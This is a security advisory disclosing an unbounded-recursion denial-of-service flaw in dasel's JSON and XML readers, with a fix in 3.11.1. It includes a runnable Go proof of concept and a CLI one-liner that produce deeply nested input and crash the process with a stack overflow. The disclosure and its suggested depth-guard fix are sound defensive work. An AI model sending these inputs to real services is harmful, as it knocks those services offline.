GHSA-cqxr-jxr2-85pq

Summary

dasel's JSON and XML readers parse nested structures with unbounded recursion, one native stack frame per nesting level, with no depth guard. A small (sub-10 MB), deeply nested document drives the Go runtime past its goroutine stack limit and triggers a fatal error: stack overflow. This is unrecoverable: it is a runtime fatal error, not a panic, so a consumer's defer/recover cannot intercept it, the entire process dies.

Both readers are affected; neither has a depth limit, and the JSON reader additionally has no input-size cap (the XML reader caps size at 10 MB but not depth).

Affected Versions

github.com/tomwright/dasel/v3 and all v3.x releases through v3.11.0 (current main, commit abc1e1d). This vulnerability is fixed in 3.11.1. Pre-v3 is out of scope.

Description

JSON reader @ parsing/json/json_reader.go

decodeValue (line 54) dispatches to the mutually-recursive decodeObject (line 78) and decodeArray (line 140). Each calls back into both for nested values (decodeArray→decodeArray at line 151, decodeObject at 163; decodeObject→decodeArray at 95, decodeObject at 111). Every [ or { in the input adds one stack frame. There is no depth counter and no len(data) cap anywhere in the reader.

XML reader @parsing/xml/reader.go

parseElement (line 172) recurses at line 211 for every xml.StartElement. The file declares explicit DoS guards — maxXMLSize = 10_000_000, comment count/length — but these bound size and comment volume, not nesting depth. The open tag <a> is 3 bytes, so the 10 MB cap still permits ~3.3 M nesting levels, exhausting the stack long before the size limit fires.

Reachability (both)

Both are on the primary public read path: parsing.Format(<fmt>).NewReader(opts).Read(data), with data fully attacker-controlled and no depth validation before the recursion. The same path backs the dasel CLI (dasel -r json / -r xml). Default reader, no special options. Go stack overflow is a fatal error, so recover() at the call site does not help.

Precedent in this codebase

DoS hardening on the readers is already an accepted concern here, which is why this is a gap rather than a design choice: the XML reader has the maxXMLSize cap, and the YAML reader already implements exactly the fix needed, parsing/yaml/yaml_reader.go:31,90-93 returns ErrYamlExpansionDepthExceeded once expansionDepth > maxExpansionDepth. The JSON and XML readers simply lack the equivalent depth guard.

Proof of Concept

Single runnable program, public API only (poc/main.go, module wired to a local clone via replace):

package main

import (
	"fmt"; "os"; "strings"
	"github.com/tomwright/dasel/v3/parsing"
	_ "github.com/tomwright/dasel/v3/parsing/json"
	_ "github.com/tomwright/dasel/v3/parsing/xml"
)

func main() {
	mode := "json"; if len(os.Args) > 1 { mode = os.Args[1] }
	depth := 6_000_000; if mode == "xml" { depth = 3_200_000 }

	var data []byte
	if mode == "xml" {
		data = []byte(strings.Repeat("<a>", depth))          // ~9.6MB, under the 10MB cap
	} else {
		data = []byte(strings.Repeat("[", depth) + strings.Repeat("]", depth)) // ~12MB
	}

	defer func() { if r := recover(); r != nil { fmt.Println("recovered (NOT fatal):", r) } }()
	r, _ := parsing.Format(mode).NewReader(parsing.DefaultReaderOptions())
	v, err := r.Read(data)
	fmt.Printf("Read returned WITHOUT crash: v=%v err=%v\n", v != nil, err)
}

go run . json    # nested arrays -> fatal error: stack overflow ; ~85 decodeArray frames
go run . xml     # nested <a>    -> fatal error: stack overflow ; ~93 parseElement frames

Observed (Go 1.26, default 1 GB goroutine stack):

• json depth 6 M (12 MB): runtime: goroutine stack exceeds 1000000000-byte limit → fatal error: stack overflow; backtrace dominated by json.(*jsonReader).decodeArray. depth 2 M completes (~0.83 s), confirming it is depth-driven, not a parse error.
• xml depth 3.2 M (9.6 MB, under the 10 MB maxXMLSize cap): same fatal overflow; backtrace is an unbroken chain of xml.(*xmlReader).parseElement at reader.go:211.
• The deferred recover() never fires in either case — the process exits.
• CLI equivalents: printf '<a>%.0s' {1..3200000} | dasel -r xml.

Impact

An attacker who controls JSON or XML passed to dasel — via the library Read API, the CLI, or the parse('json'|'xml', …) selector function — crashes the host process with a single small document. Because the failure is a Go fatal error rather than a recoverable panic, a consumer that wraps parsing in defer/recover is still taken down: the whole process terminates, killing every in-flight goroutine, not just the parse. Availability only — no confidentiality or integrity impact. For a library consumer feeding network-sourced data to Read, this is a remotely triggerable, unrecoverable DoS.

Suggested Fix

Add a recursion-depth guard to both readers, mirroring the YAML reader's existing maxExpansionDepth / ErrYamlExpansionDepthExceeded pattern:

• JSON — thread a depth int through decodeValue/decodeObject/decodeArray, increment on descent, return ErrJSONMaxDepthExceeded past a conservative bound (e.g. 10 000). Optionally add a maxJSONSize cap matching maxXMLSize for parity.
• XML — add a maxXMLDepth constant to the existing Security limits block and thread a depth through parseElement, returning a normal error past the bound.

Both return a clean error for pathological input instead of crashing the process, consistent with how the comment-count, size, and YAML-expansion limits already behave. A limit in the low thousands preserves all realistic legitimate documents.